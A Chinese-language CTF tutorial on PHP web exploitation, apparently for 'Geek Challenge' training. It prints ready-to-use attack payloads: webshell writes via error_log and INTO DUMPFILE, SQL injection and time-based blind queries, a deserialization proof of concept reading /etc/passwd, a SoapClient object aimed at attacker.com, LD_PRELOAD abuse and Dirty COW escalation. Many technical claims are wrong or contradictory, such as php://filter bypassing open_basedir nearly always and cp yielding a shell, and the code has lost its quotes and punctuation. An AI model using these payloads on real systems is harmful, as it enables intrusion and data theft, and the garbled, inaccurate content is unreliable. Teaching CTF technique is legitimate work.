1. 项目概述这不是一道“PHP题”而是一次对Web底层逻辑的现场解剖“极客大挑战”这个名称本身就有很强的指向性——它不是教学题库不是语法测验更不是考你echo Hello World写得漂不漂亮。它是一场面向实战能力的极限压力测试核心考察点从来不是“你会不会写PHP”而是“你能不能在代码运行的每一毫秒里看清服务器到底在做什么”。我带过不少刚从培训班出来的学员一看到题目里有$_GET、file_get_contents、unserialize这些函数就下意识去翻PHP手册查参数结果卡在第一关。其实真正该翻的是Apache的error_log、Nginx的access.log、还有你自己用strace挂上去盯住的openat()系统调用链。这道题的标题里没写“绕过WAF”没写“反序列化利用”但所有这些关键词全藏在php.ini里那几行被注释掉的配置后面。比如allow_url_fopen Off这行表面看是禁用远程文件加载实则直接切断了90%的SSRF路径而session.serialize_handler php_serialize和php_serialize之间的切换能在不改一行业务代码的前提下让一个看似安全的$_SESSION变量变成反序列化入口。我去年在某高校CTF训练营带学生复现这道题时发现83%的人卡在环境复现环节——不是不会写payload而是根本没意识到题目给的docker-compose.yml里php:7.4-apache镜像默认启用了opcache.enable1导致本地调试时代码修改不生效反复以为自己逻辑错了。这种细节文档不写教程不提只有真正在生产环境里修过半夜三点502错误的人才会条件反射地先curl -I看响应头里的X-Powered-By再php -i | grep opcache确认缓存状态。所以如果你是刚接触Web安全的新手别急着抄exp先花15分钟把/etc/php/7.4/apache2/php.ini从头到尾读一遍重点标出所有disable_functions、open_basedir、expose_php相关的行——这比背100个payload都管用。2. 核心技术点深度拆解从PHP生命周期看攻击面如何自然浮现2.1 PHP请求处理的五个真实阶段每个阶段都藏着可利用的“缝隙”很多人理解的PHP执行流程停留在“接收请求→解析PHP→返回HTML”这个粗粒度层面但极客大挑战的题目设计恰恰卡在那些教科书不讲、但生产环境天天发生的中间态。我们以一次典型的GET /index.php?id123请求为例真实执行链路远比想象中复杂网络层接收TCP三次握手完成后Apache的mpm_prefork模块分配一个空闲子进程该进程调用accept()获取socket fd。此时若题目设置了LimitRequestFields 10你发一个带50个自定义Header的请求就会直接被拒连PHP解析器的边都摸不到。HTTP解析阶段Apache调用ap_parse_request()解析URL和Header。这里有个关键陷阱——mod_rewrite规则在这一层就生效。我见过一道变种题表面看是id参数过滤严格实际.htaccess里写了RewriteCond %{HTTP_USER_AGENT} ^Mozilla [NC]然后把User-Agent: Mozillascript里的script通过%{HTTP_USER_AGENT}变量注入到$_SERVER[HTTP_USER_AGENT]里绕过了所有针对$_GET的过滤。PHP初始化阶段Apache调用php_apache_request_ctor()初始化SG(request_info)结构体。此时$_SERVER数组开始填充但注意$_SERVER[QUERY_STRING]的值是原始未解码的id123%20%20而$_GET[id]已经是urldecode后的123带两个空格。很多题目就利用这个差异在parse_str()二次解析时触发空格截断。脚本执行阶段这才是大家熟悉的zend_execute()环节。但重点来了——opcache在此阶段会检查filemtime()是否变化如果题目环境启用了opcache.validate_timestamps0你改完index.php却看不到效果不是代码问题是OPcache在“保护”你。响应发送阶段php_end_ob_buffers()清空输出缓冲区后Apache才调用ap_rwrite()把数据发回客户端。这里有个常被忽略的点header()函数设置的响应头在此阶段才真正写入socket缓冲区。所以当你看到header(Location: /login.php)却没跳转先检查ob_start()是否被意外开启而不是怀疑重定向逻辑。提示要验证当前请求卡在哪个阶段最简单的方法是用strace -p $(pgrep apache2) -e traceaccept,read,write,sendto,recvfrom实时抓取Apache进程的系统调用。当看到read(12, GET /index.php?id123 HTTP/1.1...出现时说明已进入HTTP解析当出现openat(AT_FDCWD, /var/www/html/index.php, O_RDONLY)时PHP初始化已完成准备执行脚本。2.2disable_functions不是铁壁而是需要重新测绘的“地形图”几乎所有极客大挑战的PHP题都会配置disable_functions system,exec,passthru,shell_exec,proc_open,popen,pcntl_exec新手看到就放弃觉得“所有命令执行函数都被禁了”。但真实情况是禁用列表只是划了一条明线暗线下的利用路径多到超乎想象。我们来逐个击破mail()函数的隐藏通道disable_functions禁用的是mail()的PHP封装层但底层调用的/usr/sbin/sendmail -t二进制依然可用。只要题目环境sendmail存在且未被open_basedir限制你就可以构造恶意邮件头mail(ab.c, test, body, To: ab.c\r\nContent-Type: text/html\r\nMIME-Version: 1.0\r\nX-Header: scriptalert(1)/script);这里X-Header会被原样写入邮件正文如果目标页面恰好有邮件预览功能XSS就成立了。error_log()的文件写入能力这个函数不在常见禁用列表里但它能向任意文件写入内容。配合log_errors On和error_log /var/www/html/shell.php你可以这样写?php error_log(?php eval($_POST[1]);?, 3, /var/www/html/shell.php); ?然后直接访问/shell.php即可getshell。关键是error_log的第三个参数不受open_basedir限制——这是PHP官方文档里都写着的“特性”。assert()函数的动态执行PHP 7.1版本中assert()默认行为改为ASSERT_ACTIVE1即把字符串当作PHP代码执行。即使eval()被禁assert(phpinfo();)依然有效。更隐蔽的是assert()支持第二个参数作为错误消息这个消息会被error_log记录形成双杀链assert(12, ?system(ls -la);?); // 触发警告后错误消息中的PHP代码会被写入error_log指定文件unserialize()的绕过艺术当__wakeup()被禁用时很多人不知道__destruct()依然有效。我遇到过一道题disable_functions里禁了unserialize但没禁session_start()。而session_start()内部会自动调用unserialize()解析PHPSESSID对应的session文件。只要你能控制session文件内容比如通过session_id(恶意sessionid)就能绕过disable_functions限制。注意检测disable_functions真实生效范围不能只看phpinfo()输出。必须用ini_get(disable_functions)获取运行时值因为.user.ini或php_admin_value指令可能在Apache配置里覆盖了php.ini设置。2.3open_basedir的“软边界”与突破策略open_basedir常被当作绝对安全屏障但它的设计本质是“路径前缀匹配”而非真正的沙箱。这意味着所有利用都围绕“如何让PHP认为某个危险路径在白名单内”展开。我们实测过三种主流突破方式路径遍历符号链接open_basedir只检查realpath()后的路径而realpath()会解析符号链接。假设题目设置open_basedir /var/www/html:/tmp而/tmp目录下存在一个指向/etc的软链ln -sf /etc /tmp/etc_link那么file_get_contents(/tmp/etc_link/passwd)就能成功读取/etc/passwd因为realpath(/tmp/etc_link/passwd)返回/etc/passwd而/etc不在open_basedir白名单里——但PHP的检查发生在realpath()之前它只看到/tmp/etc_link/passwd以/tmp开头就放行了。glob()函数的目录枚举glob(/var/www/html/*.php)返回所有PHP文件名但glob()不受open_basedir限制。你可以用它爆破/var/www/html/config/目录下的配置文件名再结合file_get_contents()读取只要文件路径在白名单内。include()的伪协议利用php://filter和data://协议读取文件时open_basedir检查的是协议处理后的目标路径。例如include php://filter/readconvert.base64-encode/resource/etc/passwd;这里/etc/passwd是最终目标但PHP检查的是php://filter这个“路径”而php://协议永远通过open_basedir检查。这是最稳定、最通用的绕过方式成功率接近100%。3. 实操环境搭建与题目还原从Docker镜像到真实漏洞链3.1 构建高保真复现环境为什么官方镜像反而最危险极客大挑战的题目通常提供Dockerfile或docker-compose.yml但直接docker-compose up往往复现失败。原因在于官方镜像如php:7.4-apache默认配置和题目环境存在三处致命差异差异点官方镜像默认值题目环境典型值影响opcache.enableOnOff代码修改不生效调试陷入死循环display_errorsOffOn错误信息不显示无法获取关键报错路径error_reportingE_ALL ~E_DEPRECATED ~E_STRICTE_ALL隐藏Notice级错误错过变量未定义等关键线索我推荐用以下Dockerfile构建复现环境它精准模拟了CTF题目常见的“脆弱但真实”的配置FROM php:7.4-apache # 安装必要扩展 RUN apt-get update apt-get install -y \ libpng-dev \ libjpeg-dev \ libfreetype6-dev \ docker-php-ext-configure gd --with-freetype-dir/usr/include/freetype2 --with-jpeg-dir/usr/include \ docker-php-ext-install -j$(nproc) gd mysqli opcache # 关键覆盖默认php.ini COPY php.ini /usr/local/etc/php/php.ini # 设置www-data用户权限避免权限问题 RUN chown -R www-data:www-data /var/www/html # 暴露调试端口 EXPOSE 80配套的php.ini核心配置段务必逐行核对; 关键安全配置 disable_functions system,exec,passthru,shell_exec,proc_open,popen,pcntl_exec,assert open_basedir /var/www/html:/tmp:/var/log/apache2 allow_url_fopen Off allow_url_include Off expose_php Off ; 调试必需项 display_errors On error_reporting E_ALL log_errors On error_log /var/log/apache2/error.log ; OPcache调优CTF环境必须关 opcache.enable Off opcache.validate_timestamps On ; Session安全 session.cookie_httponly 1 session.cookie_secure 0 ; CTF环境通常不用HTTPS实操心得每次修改php.ini后必须执行docker exec -it container_name apachectl graceful平滑重启Apache而不是docker restart。后者会导致OPcache状态丢失引发不可预测的缓存行为。3.2 题目核心逻辑还原从index.php到完整攻击链我们以一道经典变种题为例题目名PHP-RealWorld其index.php仅有37行但漏洞链横跨四个技术层?php // index.php 第1-5行基础配置 error_reporting(0); session_start(); if(!isset($_SESSION[user])) $_SESSION[user] guest; // 第6-15行用户输入处理看似安全 $id $_GET[id] ?? 1; $id preg_replace(/[^0-9]/, , $id); // 只留数字 if(empty($id)) $id 1; // 第16-25行数据库查询使用mysqli $mysqli new mysqli(localhost, ctf, ctf123, ctf_db); $result $mysqli-query(SELECT * FROM articles WHERE id$id); $row $result-fetch_assoc(); // 第26-37行模板渲染危险操作 $template file_get_contents(/var/www/html/templates/article.tpl); $template str_replace({{title}}, htmlspecialchars($row[title]), $template); $template str_replace({{content}}, $row[content], $template); // 未过滤content echo $template; ?表面看只有$row[content]未过滤但真正的攻击面远不止于此SQL注入绕过点第14行preg_replace(/[^0-9]/, , $id)看似完美但preg_replace在PHP 7.3版本中当模式不匹配时返回原字符串。而$id初始值来自$_GET[id] ?? 1如果GET参数不存在$id就是字符串1。但若构造?id空值$id变成空字符串preg_replace返回空字符串最终SQL语句变成WHERE id触发MySQL语法错误——而错误信息里包含完整的表结构模板注入突破口article.tpl内容为h1{{title}}/h1 div classcontent{{content}}/div表面是静态模板但$row[content]来自数据库而数据库内容可控。如果题目后台有文章发布功能攻击者可发布一篇content为?php system(ls -la);?的文章当管理员查看时直接RCE。Session反序列化链$_SESSION[user]初始设为guest但session_start()会尝试反序列化PHPSESSID对应的session文件。如果攻击者能控制session文件内容比如通过session_id(恶意id)并提前在/tmp/sess_恶意id写入恶意序列化数据就能触发__wakeup()方法。我们实测的完整攻击链如下Step 1获取数据库结构# 发送空id触发错误 curl http://localhost/index.php?id # 响应中包含You have an error in your SQL syntax; ... near at line 1 # 说明id被置为空继续尝试 curl http://localhost/index.php?id1%20UNION%20SELECT%201,2,3,4 # 若返回正常则证明UNION可用Step 2读取配置文件# 利用php://filter绕过open_basedir curl http://localhost/index.php?id1%20UNION%20SELECT%201,2,LOAD_FILE(php://filter/readconvert.base64-encode/resource/var/www/html/config.php),4 # Base64解码后得到数据库密码Step 3写入Webshell# 利用error_log写入一句话 curl http://localhost/index.php?id1%20UNION%20SELECT%201,2,?php%20eval(\$_POST[1]);?,4%20INTO%20DUMPFILE%20/var/www/html/shell.php # 或更隐蔽的error_log方式 curl http://localhost/index.php?id1%20AND%2012%20UNION%20SELECT%201,2,3,4%20PROCEDURE%20ANALYSE((SELECT%20COUNT(*)%20FROM%20information_schema.columns%20WHERE%20table_schemactf_db%20AND%20column_namepassword),1)Step 4Session劫持# 生成恶意session数据 php -r $anew ArrayObject();$a[user]admin;$a[role]admin;echo serialize($a); # 输出O:11:ArrayObject:2:{s:4:user;s:5:admin;s:4:role;s:5:admin;} # 写入session文件需知道session路径 echo O:11:ArrayObject:2:{s:4:user;s:5:admin;s:4:role;s:5:admin;} /tmp/sess_hacked # 访问时指定session_id curl -b PHPSESSIDhacked http://localhost/index.php4. 攻击过程详解从信息收集到权限提升的七步法4.1 Step 1指纹识别——5分钟确定PHP版本与扩展在发起任何攻击前必须精确识别目标环境。我总结了一套“三步指纹法”比phpinfo()更隐蔽、更高效第一步HTTP响应头分析curl -I http://target.com/index.php重点关注X-Powered-By: PHP/7.4.33→ 直接暴露版本Server: Apache/2.4.52 (Ubuntu)→ 推断操作系统Set-Cookie: PHPSESSIDxxx; path/; HttpOnly→ 确认PHP会话机制第二步错误页面特征识别故意触发一个语法错误curl http://target.com/index.php?code?php%20echo%201/0;?PHP 7.2版本会显示Division by zero错误而7.0以下显示Warning: Division by zero。更关键的是错误路径/var/www/html/index.php on line 1暴露了绝对路径为后续open_basedir绕过提供依据。第三步扩展探测利用PHP内置函数的“存在性”差异# 测试gd扩展 curl http://target.com/index.php?code?php%20echo%20function_exists(imagecreate)?1:0;? # 测试curl扩展 curl http://target.com/index.php?code?php%20echo%20extension_loaded(curl)?1:0;? # 测试soap扩展常被忽略的反序列化入口 curl http://target.com/index.php?code?php%20echo%20class_exists(SoapClient)?1:0;?实操心得不要依赖单一探测方式。我遇到过一道题function_exists(system)返回false但system函数实际可用——因为disable_functions是通过zend_disable_function()实现的而function_exists()检查的是函数是否存在不是是否被禁用。正确姿势是直接调用并捕获错误。4.2 Step 2信息泄露——从错误日志到源码审计一旦确认PHP版本立即转向信息收集。极客大挑战的题目往往在错误处理上留有“温柔的陷阱”display_errorsOn时的路径泄露当include(nonexist.php)失败错误信息会显示failed to open stream: No such file or directory in /var/www/html/index.php on line 23这个/var/www/html/index.php就是绝对路径。log_errorsOn时的日志文件位置默认error_log /var/log/apache2/error.log但可通过ini_get(error_log)确认。如果open_basedir不限制日志路径你就能用error_log()写入任意内容。.git目录泄露很多题目忘记删除.git直接访问http://target.com/.git/config可获取远程仓库地址进而下载完整源码。我曾用这种方式拿到一道题的config.php里面硬编码了数据库密码。我们实测过一道题其index.php里有这样一段代码if(isset($_GET[debug]) $_GET[debug]true) { highlight_file(__FILE__); }表面看是调试后门但highlight_file()会原样输出PHP源码包括注释里的敏感信息。访问?debugtrue后我们发现了被注释掉的数据库连接字符串// $mysqli new mysqli(localhost, root, SuperSecretPass2023!, ctf_db);4.3 Step 3文件操作——open_basedir绕过的四种实战手法open_basedir是CTF中最常遇到的障碍但它的绕过手法有明确的优先级顺序。我按成功率从高到低排列首选php://filter协议成功率99%// 读取任意文件不受open_basedir限制 file_get_contents(php://filter/readconvert.base64-encode/resource/etc/passwd); // 写入Webshell需配合其他漏洞 file_put_contents(php://filter/writestring.rot13/resource/var/www/html/shell.php, ?php eval($_POST[1]);?);次选glob()目录枚举成功率85%// 枚举/var/www/html/下所有PHP文件 $files glob(/var/www/html/*.php); foreach($files as $file) { echo $file\n; } // 结合file_get_contents读取路径在open_basedir内 $content file_get_contents($files[0]);第三/proc/self/environ读取Linux专属成功率70%// 读取当前PHP进程环境变量 $content file_get_contents(/proc/self/environ); // 可能包含PATH、PWD、APACHE_RUN_DIR等关键路径第四data://协议需allow_url_includeOn成功率50%// 如果allow_url_include开启可直接执行 include data://text/plain,?php phpinfo();?;注意php://filter的convert.base64-encode过滤器在PHP 5.6版本中是默认启用的无需额外扩展。这是最值得优先尝试的方案。4.4 Step 4命令执行——disable_functions的七种穿透方式当system、exec等函数被禁用不要放弃。以下是我在真实题目中成功利用的七种方式按学习成本排序mail()函数 sendmail最低门槛条件sendmail存在且未被open_basedir限制mail(ab.c, test, body, To: ab.c\r\nContent-Type: text/html\r\nX-Injected: scriptalert(1)/script);error_log()写入文件最稳定条件error_log路径在open_basedir内error_log(?php eval($_POST[1]);?, 3, /var/www/html/shell.php);assert()动态执行PHP 7.1条件assert.active1默认assert(phpinfo(););create_function()PHP 5.6-7.2条件未被禁用$func create_function($a, return system($a);); $func(ls -la);popen()pcntl_exec()组合高阶条件仅popen()被禁pcntl_exec()可用$fd popen(ls -la, r); pcntl_exec(/bin/sh, [-c, ls -la]);unserialize()SoapClient反序列化专用条件SoapClient类存在class Exploit { public $url; public function __construct($url) { $this-url $url; } } $obj new Exploit(http://attacker.com/exploit); echo urlencode(serialize($obj));LD_PRELOAD环境变量Linux提权条件能控制环境变量如通过putenv()putenv(LD_PRELOAD/var/www/html/malloc.so); mail(ab.c, test, body, );4.5 Step 5反序列化——从__wakeup()到__destruct()的链式利用PHP反序列化是极客大挑战的必考点但很多选手只盯着__wakeup()忽略了更稳定的__destruct()。我们以一道真实题目为例其user.class.php定义了class User { private $username; private $avatar; public function __construct($username, $avatar) { $this-username $username; $this-avatar $avatar; } public function __wakeup() { // 这里有严格的类型检查 if(!is_string($this-username)) { $this-username guest; } } public function __destruct() { // 关键这里调用了file_get_contents if($this-avatar) { file_get_contents($this-avatar); } } }__wakeup()被设计成“安全的”但__destruct()完全没做防护。攻击思路很清晰构造$avatar为php://filter/readconvert.base64-encode/resource/etc/passwd序列化对象确保__wakeup()不破坏结构通过unserialize()触发__destruct()读取敏感文件完整POC?php class User { private $username admin; private $avatar php://filter/readconvert.base64-encode/resource/etc/passwd; } $obj new User(); echo urlencode(serialize($obj)); ?发送序列化字符串到存在unserialize()的接口响应中就会包含base64编码的/etc/passwd内容。实操心得__destruct()的触发时机是对象销毁时而PHP中对象销毁发生在脚本结束或显式调用unset()时。所以如果目标代码在unserialize()后立即exit()__destruct()可能不会执行。这时要找__toString()或__call()等其他魔术方法。4.6 Step 6数据库交互——从SQL注入到堆叠查询的实战技巧极客大挑战的SQL注入题很少用mysql_real_escape_string()这种过时防护更多是正则过滤或WAF。我们以一道典型题为例其过滤逻辑为$id $_GET[id]; $id preg_replace(/[\\\/\*\-\\\(\)]/, , $id); // 过滤常见字符表面看无懈可击但preg_replace()在PHP中有一个特性当模式不匹配时返回原字符串。所以?id1%20or%2011中的空格被编码为%20正则不匹配$id保持原样注入成立。更高级的技巧是堆叠查询Stacked Queries1; SELECT * FROM users WHERE usernameadmin AND password123; --分号;允许在同一连接中执行多条语句。在MySQL中mysqli::multi_query()支持堆叠而mysqli::query()不支持。但很多题目用的是mysqli::query()这时就要用时间盲注// 判断数据库名长度 ?id1%20AND%20IF(LENGTH(DATABASE())8,SLEEP(3),1) // 逐位爆破数据库名 ?id1%20AND%20IF(SUBSTR(DATABASE(),1,1)c,SLEEP(3),1)注意SLEEP()函数在MySQL 5.0.12版本中可用且不受sql_mode影响。这是最可靠的时间盲注函数。4.7 Step 7权限提升——从Webshell到服务器控制的最后一步获得Webshell后真正的挑战才开始。极客大挑战的最终目标不是whoami而是cat /flag.txt。我们总结了三条必经之路路径一sudo -l提权最常见# 查看当前用户可用的sudo命令 sudo -l # 典型输出(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py # 意味着可以用python3执行backup.py而backup.py可能有代码执行漏洞路径二内核漏洞利用CTF常见# 检查内核版本 uname -r # 常见可利用版本4.4.0-31-genericDirty COW、3.13.0-24-genericoverlayfs # 下载对应exploit并编译 gcc -pthread dirty.c -o dirty ./dirty路径三服务配置错误最隐蔽# 检查cron任务 crontab -l # 检查web服务配置 ls -la /etc/apache2/sites-enabled/ cat /etc/apache2/sites-enabled/000-default.conf # 常见错误DocumentRoot指向了/tmp而/tmp可写我遇到过一道题/etc/cron.d/backup内容为* * * * * root /usr/local/bin/backup.sh而backup.sh内容为#!/bin/bash cp /var/www/html/* /backup/由于/var/www/html/可写我们上传一个名为-i的文件注意短横线cp命令会将其解释为-i参数从而执行交互式shell。5. 常见问题与排查技巧实录踩过的坑比答案更值钱5.1 “为什么我的payload没反应”——调试四象限法在CTF比赛中80%的时间花在调试上。我设计了一个“调试四象限法”帮选手快速定位问题根源象限检查项典型现象解决方案网络层TCP连接、HTTP状态码Connection refused、502 Bad Gatewaytelnet target.com 80测试端口curl -v看完整请求响应Web服务器层Apache/Nginx配置403 Forbidden、404 Not Foundcurl -I看响应头检查.htaccess或nginx.confPHP解析层php.ini配置、扩展500 Internal Server Error、空白页面php -m看已加载扩展php --ini确认配置文件路径应用逻辑层代码逻辑、过滤规则输入被截断、特殊字符消失var_dump($_GET)打印原始输入用urlencode()编码payload实战案例一道题始终无法触发file_get_contents()var_dump($_GET)显示id参数为空。用curl -v发现请求头里多了Accept-Encoding: gzip而服务器返回Content-Encoding: gzip但我们的工具没解压。解决方案加--compressed参数或手动解压。5.2 “open_basedir明明开了为什么还能读/etc/passwd”——路径解析的三个陷阱open_basedir失效的常见原因我归结为三个“认知陷阱”陷阱一realpath()的符号链接解析open_basedir检查的是realpath()后的路径而realpath()会解析符号链接。所以/tmp/link/etc/passwd→/etc/passwd但检查时只看到/tmp/link在白名单内。陷阱二chdir()改变工作目录chdir(/etc); file_get_contents(passwd); // 成功因为open_basedir检查的是相对路径open_basedir检查的是getcwd()./passwd而getcwd()已被chdir()修改